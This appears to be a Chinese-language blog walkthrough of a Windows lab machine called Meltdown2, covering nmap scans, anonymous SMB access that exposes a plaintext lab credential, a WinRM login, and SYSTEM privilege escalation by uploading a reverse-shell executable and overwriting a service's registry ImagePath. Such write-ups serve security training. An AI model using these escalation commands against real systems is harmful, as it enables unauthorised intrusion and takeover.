<h1>群U靶机-Meltdown2</h1>
<blockquote>
作者 kaada
</blockquote>
<h2>枚举</h2>
端口探测
<pre><code class="hljs language-yaml">➜ ~ nmap -sP 192.168.56.0/24 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-17 13:53 CST
Nmap scan report for 192.168.56.1
Host is up (0.00049s latency).
MAC Address: 0A:00:27:00:00:0D (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00036s latency).
MAC Address: 08:00:27:24:40:E9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.155
Host is up (0.00034s latency).
MAC Address: 08:00:27:79:5D:DD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.154
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.07 seconds
</code></pre>
看端口是一台 windows 靶机
<pre><code class="hljs language-yaml">➜ ~ nmap -sT -min-rate 10000 -p- 192.168.56.155 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-17 13:55 CST
Nmap scan report for 192.168.56.155
Host is up (0.0015s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
49667/tcp open unknown
49668/tcp open unknown
MAC Address: 08:00:27:79:5D:DD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.53 seconds
</code></pre>
常规操作，先枚举 SMB
<pre><code class="hljs language-yaml">➜ ~ smbclient -L 192.168.56.155 -U anonymous 
Password for [WORKGROUP\anonymous]:

 Sharename Type Comment
 --------- ---- -------
 ADMIN$ Disk Remote Admin
 C$ Disk Default share
 IPC$ IPC Remote IPC
 Reactor_Blueprint Disk Nuclear Fusion Reactor Core Blueprints
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.155 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
</code></pre>
得到一份 txt 文件
<pre><code class="hljs language-yaml">➜ ~ smbclient //192.168.56.155/Reactor_Blueprint 
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
 . D 0 Wed Apr 29 16:38:33 2026
 .. DHS 0 Sun May 17 13:51:10 2026
 Blueprint.txt A 618 Wed Apr 29 16:38:33 2026

 13106687 blocks of size 4096. 10307194 blocks available
</code></pre>
得到 <code>KagamineRin</code> 用户的凭据
<img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BA-Meltdown2/image.png" alt="image.png">
<pre><code class="hljs language-yaml">➜ meltdown2 cat Blueprint.txt 
========================================================================

========================================================================
The ringing in my ears won't fade, won't stop...
Allegro agitate.
I dreamed the whole world vanished...
In the night, my room feels vast
And the silence chokes my heart.

 
Unstable core temperature detected in the Nuclear Fusion Reactor.
Operator Override Configuration Required to prevent complete Meltdown.
Assigned Operator Account: KagamineRin
Core Integrity Access Code: AllegroAgitate2026!
========================================================================
</code></pre>
<h2>提权</h2>
之前看到主机开了 5985 端口，所以这里尝试直接使用 evil-winrm 拿 <code>shell</code>
<img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BA-Meltdown2/image1.png" alt="image.png">
可以拿到 <code>user.txt</code>
<img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BA-Meltdown2/image2.png" alt="image.png">
跑一下 <code>winPEAS</code> ，能找到一个错误的配置，能让我们拿到高级别权限：服务注册表权限配置错误 (Weak Service Registry Permissions)
当前用户 <code>KagamineRin</code> 对 <code>RoshinYuukai</code> （PS： <a href="https://www.youtube.com/watch?v=dSw8CucthGc">https://www.youtube.com/watch?v=dSw8CucthGc</a> ）这个服务的注册表项拥有 FullControl 权限
因为拥有 FullControl 权限，我们可以直接修改 <code>ImagePath</code> 的值，将其替换为我们的提权 Payload（如反弹 Shell 的 exe）。随后只要重启该服务，Payload 就会以服务本身的系统级权限运行，完成提权。
<img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BA-Meltdown2/image3.png" alt="image.png">
创建一个反弹 shell 的 exe 文件
<img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BA-Meltdown2/image4.png" alt="image.png">
上传并修改服务的 <code>ImagePath</code> ，然后启动服务，即可拿到 system 权限的 shell
<pre><code class="hljs language-yaml">upload 2.exe
Set-ItemProperty -Path "HKLM:\system\currentcontrolset\services\RoshinYuukai" -Name "ImagePath" -Value "C:\1\2.exe"
Start-Service RoshinYuukai
</code></pre>
<img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BA-Meltdown2/image5.png" alt="image.png">
<img src="/post-images/%E7%BE%A4U%E9%9D%B6%E6%9C%BA-Meltdown2/image6.png" alt="image.png">
<h2>end</h2>
最近几个月因为一些原因没有更新…

群U靶机 Meltdown2 作者 kaada 枚举 端口探测 看端口是一台 windows 靶机 常规操作，先枚举 SMB 得到一份 txt 文件 得到 KagamineRin 用户的凭据 提权 之前看到主机开了 5985 端口，所以这里尝试直接使用 evil winrm 拿 shell 可以拿到...

群U靶机 - Meltdown2

HackTheBox - Machine - Signed